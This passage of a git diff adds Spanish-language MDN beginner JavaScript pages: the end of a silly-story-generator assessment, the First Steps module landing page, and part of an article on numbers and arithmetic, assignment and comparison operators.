+ <li>Crear tres nuevas variables llamadas <code>xItem</code>, <code>yItem</code>, y <code>zItem</code>, y tienes que igualar cada variable llamando a <code>randomValueFromArray()</code> en sus tres matrices (el resultado en cada caso será un elemento aleatorio de cada matriz en la que se llama). Por ejemplo, puede llamar a la función y hacer que devuelva una cadena aleatoria de  <code>insertX</code> escribiendo <code>randomValueFromArray(insertX)</code>.</li>
+ <li>A continuación, queremos reemplazar los tres marcadores de posición en la cadena <code>newStory</code> — <code>:insertx:</code>, <code>:inserty:</code>, y <code>:insertz:</code> — con las cadenas almacenadas en <code>xItem</code>, <code>yItem</code>, y <code>zItem</code>. Hay un método de string en particular que lo ayudará aquí: en cada caso, haga que la llamada al método sea igual a <code>newStory</code> de modo que cada vez que se llame, <code>newStory</code> se iguale a sí mismo, pero con sustituciones. Entonces, cada vez que se presiona el botón, estos marcadores de posición se reemplazan con una cadena absurda aleatoria. Como sugerencia adicional, el método en cuestión solo reemplaza la primera instancia de la subcadena que encuentra, por lo que es posible que deba realizar una de las llamadas dos veces.</li>
+ <li>Dentro del primer bloque <code>if</code>, agregue otra llamada al método de reemplazo de cadena para reemplazar el nombre 'Bob' que se encuentra en la cadena <code>newStory</code> con la variable de <code>name</code>. En este bloque estamos diciendo "Si se ingresó un valor en la entrada de texto <code>customName</code>  reemplace a Bob en la historia con ese nombre personalizado."</li>
+ <li>Dentro del segundo bloque <code>if</code>, se esta verificando si se ha seleccionado el botón de opción <code>uk</code>  Si es así, queremos convertir los valores de peso y temperatura en la historia de libras and Fahrenheit a stones and grados centígrados. Lo que debe hacer es lo siguiente:
+  <ol>
+   <li>Busque las fórmulas para convertir libras a stone, and Fahrenheit en grados centígrados.</li>
+   <li>Dentro de la línea que define la variable de <code>weight</code>, reemplace 300 con un cálculo que convierta 300 libras en stones. Concatenar <code>'stone'</code> al final del resultado de la llamada <code>Math.round()</code>.</li>
+   <li>Al lado de la línea que define la variable de <code>temperature</code>, reemplace 94 con un cálculo que convierta 94 Fahrenheit en centígrados. Concatenar <code>'centigrade'</code> al final del resultado de la llamada <code>Math.round()</code>.</li>
+   <li>Justo debajo de las dos definiciones de variables, agregue dos líneas de reemplazo de cadena más que reemplacen '94 fahrenheit 'con el contenido de la variable de <code>temperature</code>, y  '300 libras' con el contenido de la variable de <code>weight</code>.</li>
+  </ol>
+ </li>
+ <li>Finalmente, en la penúltima línea de la función, haga que la propiedad <code>textContent</code> de la variable de la <code>story</code> (que hace referencia al párrafo) sea igual a <code>newStory</code>.</li>
+</ol>
+
+<h2 id="Claves_y_pistas">Claves y pistas</h2>
+
+<ul>
+ <li>No necesitas modificar el HTML, salvo para incrustar el JavaScript a tu HTML.</li>
+ <li>Si no estás seguro si el JavaScript está siendo aplicado adecuadamente a tu HTML, intenta remover temporalmente todo el codigo del archivo JavaScript, agregar una instruccion simple que sabes que tendrá un efecto obvio, luego guarda y actualiza. El siguiente ejemplo cambia el fondo de {{htmlelement("html")}} - así la ventana se verá completamente roja si el JavaScript está siendo aplicado adecuadamente.:
+  <pre class="brush: js notranslate">document.querySelector('html').style.backgroundColor = 'red';</pre>
+ </li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round">Math.round()</a> es un método JavaScript integrado que simplemente redondea el resultado de un cálculo al número entero más cercano.</li>
+ <li>Hay tres casos de cadenas que deben reemplazarse. Puede repetir el método <code>replace()</code> varias veces o puede utilizar expresiones regulares. Por ejemplo, <code>let text = 'I am the biggest lover, I love my love'; text.replace(/love/g,'like');</code> Reemplazará todas las instancias de 'love' a 'like'. Recuerde, las cuerdas son inmutables.</li>
+</ul>
+
+<h2 id="Evaluación_o_ayuda_adicional">Evaluación o ayuda adicional</h2>
+
+<p>Si está siguiendo esta evaluación como parte de un curso organizado, debería poder entregar su trabajo a su profesor/mentor para que lo califique. Si está aprendiendo por ti mismo, puede obtener la guía de calificación con bastante facilidad preguntando en el hilo de <a href="https://discourse.mozilla.org/t/silly-story-generator-assessment/24686">discussion thread for this exercise</a>, o en el canal de IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> en <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Pruebe el ejercicio primero: ¡no se gana nada haciendo trampa!</p>
+
+<p>{{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Qu%C3%A9_es_JavaScript">¿Qué es JavaScript?</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/A_first_splash">Un primer acercamiento a JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Corrigiendo JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Variables">Almacenando la información que necesitas - Variables</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Matem%C3%A1ticas">Matemáticas básicas en JavaScript — números y operadores</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Strings">Manejando el texto - cadenas en JavaScript</a></li>
+ <li><a href="/es/docs/Glossary/Arreglos">Métodos útiles con cadenas</a></li>
+ <li><a href="/es/docs/Glossary/Arreglos">Arreglos (matrices)</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Evaluación: Generador de hisorias alocadas</a></li>
+</ul>
diff --git a/files/es/learn/javascript/first_steps/index.html b/files/es/learn/javascript/first_steps/index.html
new file mode 100644
index 0000000000..9a1211fc54
--- /dev/null
+++ b/files/es/learn/javascript/first_steps/index.html
@@ -0,0 +1,88 @@
+---
+title: Primeros pasos con JavaScript
+slug: Learn/JavaScript/First_steps
+tags:
+  - Arrays
+  - Arreglos
+  - Artículo
+  - Cadenas
+  - CodingScripting
+  - Evaluación
+  - Guide
+  - Guía
+  - JavaScript
+  - Landing
+  - Matemáticas
+  - Numeros
+  - Operadores
+  - Principiante
+  - Rangos
+  - Series
+  - TopicStub
+  - Variables
+  - 'l10n:priority'
+  - modulo
+translation_of: Learn/JavaScript/First_steps
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">En nuestro primer módulo de JavaScript, primero respondemos algunas preguntas fundamentales como "¿qué es JavaScript?", "¿cómo se ve?" y "¿qué puede hacer?", antes de pasar avanzar en la guía por tu primera experiencia práctica de escribir JavaScript. Después de eso, explicaremos en detalle algunos bloques de construcción clave, tal como variables, cadenas, números y arreglos.</p>
+
+<div class="in-page-callout webdev">
+<h3 id="¿Quieres_transformarte_en_un_desarrollador_de_la_interfaz_de_usuario_web">¿Quieres transformarte en un desarrollador de la interfaz de usuario web?</h3>
+
+<p>Se elaboró un curso que incluye toda la información esencial que necesitas para alcanzar tu objetivo.</p>
+
+<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Empieza aquí</a></p>
+</div>
+
+<h2 id="Prerrequisitos">Prerrequisitos</h2>
+
+<p>Antes de comenzar este módulo, no necesitas ningún conocimiento previo de JavaScript, pero debes estar familiarizado con HTML y CSS. Es recomendable trabajar con los siguientes módulos antes de comenzar con JavaScript:</p>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/Getting_started_with_the_web", "Introducción a la Web")}} (que incluye una {{web.link("/es/docs/Learn/Getting_started_with_the_web/JavaScript_basics", "introducción básica a JavaScript")}}).</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML", "Introducción a HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/CSS/Introduction_to_CSS", "Introducción a CSS")}}.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Si estás trabajando en una computadora, tableta u otro dispositivo en el que no puedes crear tus propios archivos, puedes probar (la mayoría de) los ejemplos de código en un programa de codificación en línea como <a href="http://jsbin.com/">JSBin</a> o <a href="https://glitch.com/">Glitch</a>.</p>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt>{{web.link("/es/docs/Learn/JavaScript/First_steps/Que_es_JavaScript", "¿Qué es JavaScript?")}}</dt>
+ <dd>¡Bienvenido al curso de JavaScript para principiantes de MDN!, En este primer artículo, analizaremos JavaScript desde un alto nivel, respondiendo preguntas como "¿qué es?", y "¿qué hace?", asegurándote de que te sientas cómodo con la intención de JavaScript.</dd>
+ <dt>{{web.link("/es/docs/Learn/JavaScript/First_steps/A_first_splash", "Una primera introducción a JavaScript")}}</dt>
+ <dd>Ahora que has aprendido algo sobre la teoría de JavaScript y lo que puedes hacer con él, te daremos un curso intensivo sobre las características básicas de JavaScript a través de un tutorial completamente práctico. Aquí, te llevaremos paso a paso en la creación de un sencillo juego de "Adivina el número".</dd>
+ <dt>{{web.link("/es/docs/Learn/JavaScript/First_steps/What_went_wrong", "¿Qué salió mal? — Solución de problemas de JavaScript")}}</dt>
+ <dd>Cuando construiste el juego "Adivina el número" en el artículo anterior, es posible que hayas descubierto que no funcionó. Tranquilo — este artículo tiene como objetivo evitar tu calvicie prematura al jalarte los pelos por este tipo de problemas proporcionándote algunos sencillos consejos sobre cómo encontrar y corregir errores en los programas JavaScript.</dd>
+ <dt>{{web.link("/es/docs/Learn/JavaScript/First_steps/Variables", "Almacenar la información que necesitas — Variables")}}</dt>
+ <dd>Después de leer los últimos artículos, deberías saber qué es JavaScript, qué puede hacer por ti, cómo usarlo junto con otras tecnologías web y cómo se ven sus características principales desde un alto nivel. En este artículo llegaremos a los conceptos básicos reales, y veremos cómo trabajar con los bloques de construcción más básicos de JavaScript — Variables.</dd>
+ <dt>{{web.link("/es/docs/Learn/JavaScript/First_steps/Math", "Matemáticas básicas en JavaScript — números y operadores")}}</dt>
+ <dd>En este punto del curso, explicaremos las matemáticas en JavaScript — cómo podemos combinar operadores y otras características para manipular con éxito los números para cumplir nuestras ofertas.</dd>
+ <dt>{{web.link("/es/docs/Learn/JavaScript/First_steps/Strings", "Manejo de texto — cadenas en JavaScript")}}</dt>
+ <dd>A continuación, centraremos nuestra atención en las cadenas (<code>strings</code>) — así es como se llaman los fragmentos de texto en programación. En este artículo, veremos todas las cosas comunes que realmente debes saber sobre las cadenas al aprender JavaScript, como crear cadenas, escapar las comillas en una cadena y unirlas.</dd>
+ <dt>{{web.link("/es/docs/Learn/JavaScript/First_steps/Useful_string_methods", "Útiles métodos de cadena")}}</dt>
+ <dd>Ahora que hemos visto los conceptos básicos de las cadenas, avancemos un poco y comencemos a pensar en las operaciones útiles que podemos hacer en las cadenas con métodos integrados, como encontrar la longitud del texto en una cadena, unir y dividir cadenas, sustituir un caracter por otro en una cadena, y más.</dd>
+ <dt>{{web.link("/es/docs/Learn/JavaScript/First_steps/Arrays", "Arreglos")}}</dt>
+ <dd>En el artículo final de este módulo, veremos los arreglos — una forma ordenada de almacenar una lista de elementos de datos con un solo nombre de variable. Aquí vemos por qué esto es útil, luego exploramos cómo crear un arreglo, recuperar, agregar y eliminar elementos almacenados en un arreglo, y más.</dd>
+</dl>
+
+<h2 id="Evaluaciones">Evaluaciones</h2>
+
+<p>La siguiente evaluación pondrá a prueba tu comprensión de los conceptos básicos de JavaScript cubiertos en las guías anteriores.</p>
+
+<dl>
+ <dt>{{web.link("/es/docs/Learn/JavaScript/First_steps/Silly_story_generator", "Generador de historias absurdas")}}</dt>
+ <dd>En esta evaluación, se te asignará la tarea de tomar algunos de los conocimientos adquiridos en los artículos de este módulo y aplicarlos para crear una divertida aplicación que genere historias absurdas al azar. ¡Que te diviertas!</dd>
+</dl>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<dl>
+ <dt><a href="https://learnjavascript.online/">Aprende JavaScript</a></dt>
+ <dd>Un excelente recurso para los aspirantes a desarrolladores web — aprende JavaScript en un entorno interactivo, con lecciones breves y pruebas interactivas, guiado por una evaluación automatizada. Las primeras 40 lecciones son gratuitas y el curso completo está disponible por un pequeño pago único.</dd>
+</dl>
diff --git a/files/es/learn/javascript/first_steps/matemáticas/index.html b/files/es/learn/javascript/first_steps/matemáticas/index.html
new file mode 100644
index 0000000000..d9117ed211
--- /dev/null
+++ b/files/es/learn/javascript/first_steps/matemáticas/index.html
@@ -0,0 +1,443 @@
+---
+title: Matemáticas básicas en JavaScript — números y operadores
+slug: Learn/JavaScript/First_steps/Matemáticas
+tags:
+  - Aprender
+  - Artículo
+  - Guía
+  - JavaScript
+  - Matemáticas
+  - Math
+  - Novato
+  - Operadores
+  - Principiante
+  - incremento
+  - 'l10n:priority'
+  - modulo
+translation_of: Learn/JavaScript/First_steps/Math
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">En este punto del curso, hablaremos de matemáticas en JavaScript — cómo  podemos usar {{Glossary("Operator","operadores")}} y otras características para manipular con éxito números y conseguir lo que nos hayamos propuesto.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Conocimientos básicos de ordenadores, comprensión básica de  HTML y CSS, comprensión básica de lo que es JavaScript.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Familiarizarse con las matemáticas básicas de JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Todos_aman_las_matemáticas">Todos aman las matemáticas</h2>
+
+<p>Vale, tal vez no. A algunos nos gustan, otros las odiamos desde que aprendimos en la escuela las tablas de multipicar y las divisiones complicadas, y algunos estamos a mitad entre ambas posturas. Pero ninguno podemos negar que las matemáticas son una parte fundamental de la vida que nos afecta. Y esto es especialmente cierto cuando aprendemos JavaScript (o cualquier otro lenguaje similar) — en la medida en que ello pasa por procesar números, calcular nuevos valores, etc., no te puede sorprender comprobar que JavaScript dispone de un completo conjunto de funciones matemáticas.</p>
+
+<p>En este artículo se trata solo aquella parte básica que necesitas conocer por ahora.</p>
+
+<h3 id="Tipos_de_números">Tipos de números</h3>
+
+<p>En programación, incluso el simple sistema numérico decimal que todos conocemos tan bien, es más complicado de lo que podrías pensar. Usamos diferentes términos para describir diferentes tipos de números decimales, por ejemplo:</p>
+
+<ul>
+ <li><strong>Enteros son números sin parte decimal</strong>, e.g. 10, 400 o -5.</li>
+ <li><strong>Números con coma flotante </strong>(floats): tienen punto decimal y parte decimal, por ejemplo,12.5 y 56.7786543.</li>
+ <li><strong>Doubles</strong>: son un tipo específico de números de coma flotante que tienen una mayor precisión que los numeros de coma flotante comunes (lo que significa que son más precisos en cuanto a la cantidad de decimales que poseen).</li>
+</ul>
+
+<p>¡Incluso tenemos distintos tipos de sistemas numéricos! El decimal es base 10 (quiere decir que utiliza 0-9 en cada columna), pero también tenemos cosas como:</p>
+
+<ul>
+ <li><strong>Binario</strong> — El lenguaje de computadora de nivel más bajo; 0s y 1s.</li>
+ <li><strong>Octal</strong> — De base 8, utiliza de 0–7 en cada columna.</li>
+ <li><strong>Hexadecimal</strong> — De base 16, utiliza de 0–9 y luego de a–f en cada columna. Puedes haber encontrado estos números antes, cuando colocabas <a href="/es/Learn/CSS/Introduction_to_CSS/Values_and_units#Hexadecimal_values">colores en CSS</a>.</li>
+</ul>
+
+<p><strong>Antes de que comiences a preouparte de que tu cerebro se derrita, ¡detente un momento!</strong> Para empezar, sólo vamos a apegarnos a los números decimales durante todo este curso; pocas veces te verás en la necesidad de comenzar a pensar sobre los otros tipos, si es que lo haces.</p>
+
+<p>La segunda parte de las buenas noticias es que, a diferencia de otros lenguajes de programación, JavaScript sólo tiene un tipo de dato para los números, adivinaste, {{jsxref("Number")}}. Esto significa que, sin importar el tipo de número con el que estés lidiando en Javascript, los manejas siempre de la misma manera.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: En realidad, JavaScript tiene un segundo tipo de número, {{Glossary("BigInt")}}, que se utiliza para números enteros muy, muy grandes. Pero para los propósitos de este curso, solo nos preocuparemos por los valores numéricos.</p>
+</div>
+
+<h3 id="Para_mí_todo_son_números.">Para mí, todo son números.</h3>
+
+<p>Juguemos un poco con algunos números para ponernos al día con la sintaxis básica que necesitamos. Coloca los comandos listados abajo en la <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">consola JavaScript de tus herramientas para desarrolladores</a>, o utiliza la sencilla consola integrada que verás abajo si lo prefieres.</p>
+
+<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/">Abrir en una ventana nueva</a></strong></p>
+
+<ol>
+ <li>Primero que todo, declara un par de variables e inicializalas con un entero y un flotante, respectivamente, luego escribe los nombres de esas variables para chequear que todo esté en orden:
+  <pre class="brush: js notranslate">var myInt = 5;
+var myFloat = 6.667;
+myInt;
+myFloat;</pre>
+ </li>
+ <li>Los valores numéricos están escritos sin comillas - Trata de declarar e inicializar un par de variables más que contengan números antes de continuar.</li>
+ <li>Ahora chequea que nuestras variables originales sean del mismo tipo. Hay un operador llamado {{jsxref("Operators/typeof", "typeof")}} en JavaScript hace esto. Digita las dos lineas siguientes:
+  <pre class="brush: js notranslate">typeof myInt;
+typeof myFloat;</pre>
+  Obtendrás <code>"number"</code> en ambos casos — esto hace las cosas mucho más fáciles que si diferentes números tuvieran difetentes tipos, y tuvimos que lidiar con ellos de diferentes maneras. Uf !</li>
+</ol>
+
+<h2 id="Operadores_Aritméticos">Operadores Aritméticos</h2>
+
+<p>Los operadores aritméticos son operadores básicos que usamos para hacer sumas:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Operador</th>
+   <th scope="col">Nombre</th>
+   <th scope="col">Propósito</th>
+   <th scope="col">Ejemplo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>+</code></td>
+   <td>Adición</td>
+   <td>Suma dos números juntos.</td>
+   <td><code>6 + 9</code></td>
+  </tr>
+  <tr>
+   <td><code>-</code></td>
+   <td>Resta</td>
+   <td>Resta el numero de la derecha del de la izquierda.</td>
+   <td><code>20 - 15</code></td>
+  </tr>
+  <tr>
+   <td><code>*</code></td>
+   <td>Multiplicación</td>
+   <td>Multiplica dos números juntos.</td>
+   <td><code>3 * 7</code></td>
+  </tr>
+  <tr>
+   <td><code>/</code></td>
+   <td>División</td>
+   <td>Divide el número de la izquierda por el de la derecha.</td>
+   <td><code>10 / 5</code></td>
+  </tr>
+  <tr>
+   <td><code>%</code></td>
+   <td>Sobrante (también llamado módulo)</td>
+   <td>
+    <p>Retorna el restante después de dividir el número de la izquierda en porciones enteras del de la derecha.</p>
+   </td>
+   <td><code>8 % 3</code> (retorna 2, como tres está dos veces en 8, quedando 2 restantes.)</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota</strong>: A veces verás números involucrados en sumas referidas como {{Glossary("Operand", "operands")}}.</p>
+</div>
+
+<p>Probablemente no necesitemos enseñarte matemáticas básicas, pero nos gustaría probar tu entendimiento de la sintaxis involucrada. Intenta entrar los ejemplos de abajo en tu <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">consola JavaScript de tus herramientas para desarrolladores</a>, o usa la sencilla consola incorporada que se vio anteriormente, si lo prefieres, para familiarizarte con la sintaxis.</p>
+
+<ol>
+ <li>Primero, trata entrando un ejemplo simple por tu cuenta, como
+  <pre class="brush: js notranslate">10 + 7
+9 * 8
+60 % 3</pre>
+ </li>
+ <li>Puedes tratar declarando e inicializando algunos números en variables, y probar usándolos en la suma - Las variables se comportarán exactamente como los valores que tienen para los fines de la suma. Por ejemplo:
+  <pre class="brush: js notranslate">var num1 = 10;
+var num2 = 50;
+9 * num1;
+num2 / num1;</pre>
+ </li>
+ <li>Por último, trate entrando algunas expresiones complejas, como:
+  <pre class="brush: js notranslate">5 + 10 * 3;
+num2 % 9 * num1;
+num2 + num1 / 8 + 2;</pre>
+ </li>
+</ol>
+
+<p>Es posible que parte de este último conjunto de sumas no te dé el resultado que esperabas; La siguiente sección bien podría dar la respuesta del por qué.</p>
+
+<h3 id="Precedencia_de_Operadores">Precedencia de Operadores</h3>
+
+<p>Veamos el último ejemplo de arriba, asumiendo que num2 tiene el valor 50 y num1 tiene el valor 10 (como se indicó anteriormente):</p>
+
+<pre class="brush: js notranslate">num2 + num1 / 8 + 2;</pre>
+
+<p>Como un ser humano, puedes leer esto como "50 más 10 es igual a 60", luego "8 más 2 es igual a 10", y finalmente "60 dividido por 10 es igual a 6".</p>
+
+<p>Pero el navegador hace "10 dividido por 8 es igual a 1.25", luego "50 más 1.25 más 2 es igual a 53.25".</p>
+
+<p>Esto es debido a la <strong>precedencia de operadores</strong> — algunos operadores son aplicados antes de otros cuando se calcula el resultado de una suma (referida como una expresión, en programación).  La precedencia de operadores en JavaScript es la misma que en las matemáticas de la escuela  — La multiplicación y la división se resuelven siempre primero, luego la suma y resta (la suma siempre se evalua de izquierda a derecha).</p>
+
+<p>Si quieres alterar la precedencia de operación, puedes colocar paréntesis alrededor de las partes que quieras explícitamente evaluar primero. Para obtener un resultado de 6, podríamos hacer esto:</p>
+
+<pre class="brush: js notranslate">(num2 + num1) / (8 + 2);</pre>
+
+<p>Pruébalo y verás.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Una completa lista de todos los operadores de JavaScript y sus precedencias pueden encontrarse en <a href="/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operator_precedence">Expresiones y operadores</a>.</p>
+</div>
+
+<h2 id="Operadores_de_incremento_y_decremento">Operadores de incremento y decremento</h2>
+
+<p>Algunas veces necesitarás repetidamente sumar o restar uno de/a una variable numérica. Esto puede hacerse convenientemente usando los operadores de incremento (<code>++</code>) y decremento (<code>--</code>). Usamos <code>++</code> en nuestro juego "Adivina el número" en nuestro artículo <a href="/es/docs/Learn/JavaScript/First_steps/A_first_splash">Un primer acercamiento a JavaScrip</a><a href="/es/docs/Learn/JavaScript/Introduction_to_JavaScript_1/A_first_splash">t</a>, cuando agregamos 1 a nuestra variable <code>guessCount</code> para mantener una pista de cuantas respuestas le quedan al usuario por turno.</p>
+
+<pre class="brush: js notranslate">guessCount++;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Son muy comunmente usadas en <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">ciclos</a>, que aprenderás más adelante en el curso. Por ejemplo, Digamos que quieras recorrer una lista de precios, y agregar impuestos a cada uno. Usaría un ciclo para recorrer cada valor y realizar el cálculo necesario para agregar el impuesto a las ventas en cada caso. El incrementador es usado para mover al próximo valor cuando es necesario. Damos un simple ejemplo En realidad, proporcionamos un ejemplo simple que muestra cómo se hace esto: ¡pruébalo en vivo y mira el código fuente para ver si puedes detectar los incrementadores! Veremos los ciclos en detalle más adelante en el curso..</p>
+</div>
+
+<p>Trata jugando con eso en tu consola. Para empezar, nota que no puedes aplicar esto directamente a un número, sin operar en él mismo. Lo siguiente retorna un error:</p>
+
+<pre class="brush: js notranslate">3++;</pre>
+
+<p>Asì, puedes solo incrementar una variable existente. Prueba esto:</p>
+
+<pre class="brush: js notranslate">var num1 = 4;
+num1++;</pre>
+
+<p>Ok, la extrañeza número 2! Cuando hagas esto, verás que se devuelve un valor de 4; esto se debe a que el navegador devuelve el valor actual y luego incrementa la variable. Puedes ver que se ha incrementado si devuelves el valor variable nuevamente:</p>
+
+<pre class="brush: js notranslate">num1;</pre>
+
+<p>Lo mismo funciona con <code>--</code> : intenta lo siguiente:</p>
+
+<pre class="brush: js notranslate">var num2 = 6;
+num2--;
+num2;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes hacer que el navegador lo haga al revés: aumentar / disminuir la variable y luego devolver el valor, colocando el operador al comienzo de la variable en lugar del final. Prueba los ejemplos anteriores otra vez, pero esta vez usa <code>++num1</code> y<code>--num2</code>.</p>
+</div>
+
+<h2 id="Operadores_de_asignación">Operadores de asignación</h2>
+
+<p>Los operadores de asignación son operadores que asignan un valor a una variable. Ya usamos el más básico, <code>=</code>, muchas veces — simplemente asigna a la variable de la izquierda, el valor de la derecha:</p>
+
+<pre class="brush: js notranslate">var x = 3; // x contiene el valor 3
+var y = 4; // y contiene el valor 4
+x = y; // x ahora contiene el mismo valor de y... 4</pre>
+
+<p>Pero hay algunos tipos más complejos, que proporcionan atajos útiles para mantener tu código más ordenado y más eficiente. Los más comunes se enumeran a continuación.:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Operador</th>
+   <th scope="col">Nombre</th>
+   <th scope="col">Propósito</th>
+   <th scope="col">_Ejemplo</th>
+   <th scope="col">__Atajo_de__</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>+=</code></td>
+   <td>Adición asignación</td>
+   <td>Suma el valor de la derecha al valor de la variable de la  izquierda y returna el nuevo valor</td>
+   <td><code>x = 3;<br>
+    x += 4;</code></td>
+   <td><code>x = 3;<br>
+    x = x + 4;</code></td>
+  </tr>
+  <tr>
+   <td><code>-=</code></td>
+   <td>Resta asignación</td>
+   <td>
+    <p>Resta el valor de la derecha, del valor de la variable de la izquierda y retorna el nuevo valor.</p>
+   </td>
+   <td><code>x = 6;<br>
+    x -= 3;</code></td>
+   <td><code>x = 6;<br>
+    x = x - 3;</code></td>
+  </tr>
+  <tr>
+   <td><code>*=</code></td>
+   <td>Multiplicación asignación</td>
+   <td>
+    <p>Multiplica el valor de la variable en la izquierda por el valor en la derecha y retorna el nuevo valor.</p>
+   </td>
+   <td><code>x = 2;<br>
+    x *= 3;</code></td>
+   <td><code>x = 2;<br>
+    x = x * 3;</code></td>
+  </tr>
+  <tr>
+   <td><code>/=</code></td>
+   <td>División asignación</td>
+   <td>
+    <p>Divide el valor de la variable en la izquierda por el valor de la derecha y retorna el nuevo valor.</p>
+   </td>
+   <td><code>x = 10;<br>
+    x /= 5;</code></td>
+   <td><code>x = 10;<br>
+    x = x / 5;</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Intenta digitar algunos de estos ejemplos en tu consola, para darte una idea de cómo funcionan. Mira si puedes preguntar los valores que tenían antes de ingresarlos en la segunda línea, en cada caso.</p>
+
+<p>Ten en cuenta que puedes usar otras variables en el lado derecho de cada expresión, por ejemplo:</p>
+
+<pre class="brush: js notranslate">var x = 3; // x contiene el valor 3
+var y = 4; // y contiene el valor 4
+x *= y; // x ahora contiene el valor 12</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Hay una cantidad de <a href="/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment_operators">otros operadores de asignación disponibles</a>, pero estos son los básicos que debes aprender por ahora.</p>
+</div>
+
+<h2 id="Aprendizaje_activo_dimensionando_una_caja_canvas">Aprendizaje activo: dimensionando una caja canvas</h2>
+
+<p>En este ejercicio vamos a hacer que completes algunos números y operadores para manipular el tamaño de una caja. El cuadro se dibuja utilizando una API de navegador llamada {{domxref("Canvas API", "", "", "true")}}. No hay necesidad de preocuparse por cómo funciona esto, solo concentrarse en las matemáticas por ahora. El ancho y el alto del cuadro (en píxeles) están definidos por las variables x e y, a las que inicialmente se les asigna un valor de 50.</p>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html", '100%', 520)}}</p>
+
+<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html">Abrir en una nueva ventana</a></strong></p>
+
+<p>En el cuadro de código editable anterior, hay dos líneas marcadas claramente con un comentario que nos gustaría que actualices para hacer que el cuadro crezca/se reduzca a ciertos tamaños, utilizando ciertos operadores y/o valores en cada caso. Intenta lo siguiente:</p>
+
+<ul>
+ <li>Cambia la línea que calcula x, para que el recuadro tenga un ancho de 50px, y que el 50 se calcule utilizando los números 43 y 7, y un operador aritmético.</li>
+ <li>Cambia la línea que calcula y, para que la casilla tenga 75px de altura y que el 75 se calcule utilizando los números 25 y 3, y un operador aritmético.</li>
+ <li>Cambia la línea que calcula x, para que el recuadro tenga un ancho de 250px, y que el 250 se calcule utilizando dos números y el operador del resto (módulo).</li>
+ <li>Cambia la línea que calcula y, para que el cuadro tenga 150px de altura, y que el 150 se calcule utilizando tres números, y los operadores de resta y división.</li>
+ <li>Cambia la línea que calcula x, para que el cuadro tenga 200px de ancho y que el 200 se calcule utilizando el número 4 y un operador de asignación.</li>
+ <li>Cambia la línea que calcula y, para que el cuadro tenga 200px de altura y que el 200 se calcule utilizando los números 50 y 3, el operador de multiplicación y el operador de asignación de suma.</li>
+</ul>
+
+<p>No te preocupes si arruinas totalmente el código. Siempre puedes presionar el botón Restablecer para que las cosas vuelvan a funcionar. Después de haber respondido correctamente a todas las preguntas anteriores, siéntete libre de jugar con el código un poco más, o establece desafíos para tus amigos/compañeros de clase..</p>
+
+<h2 id="Operadores_de_comparación">Operadores de comparación</h2>
+
+<p>A veces querremos ejecutar pruebas de verdadero/falso, y luego actuaremos de acuerdo con el resultado de esa prueba. Para ello, utilizamos <strong>operadores de comparación</strong>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Operador</th>
+   <th scope="col">Nombre</th>
+   <th scope="col">Propósito</th>
+   <th scope="col">Ejemplo</th>
+  </tr>
+  <tr>
+   <td><code>===</code></td>
+   <td>Igual estricto</td>
+   <td>Comprueba si los valores izquierdo y derecho son idénticos entre sí</td>
+   <td><code>5 === 2 + 4</code></td>
+  </tr>
+  <tr>
+   <td><code>!==</code></td>
+   <td>Igual no-estricto</td>
+   <td>Comprueba si los valores izquierdo y derecho <strong>no</strong> son idénticos entre sí</td>
+   <td><code>5 !== 2 + 3</code></td>
+  </tr>
+  <tr>
+   <td><code>&lt;</code></td>
+   <td>Menor que</td>
+   <td>Comprueba si el valor izquierdo es menor que el derecho.</td>
+   <td><code>10 &lt; 6</code></td>
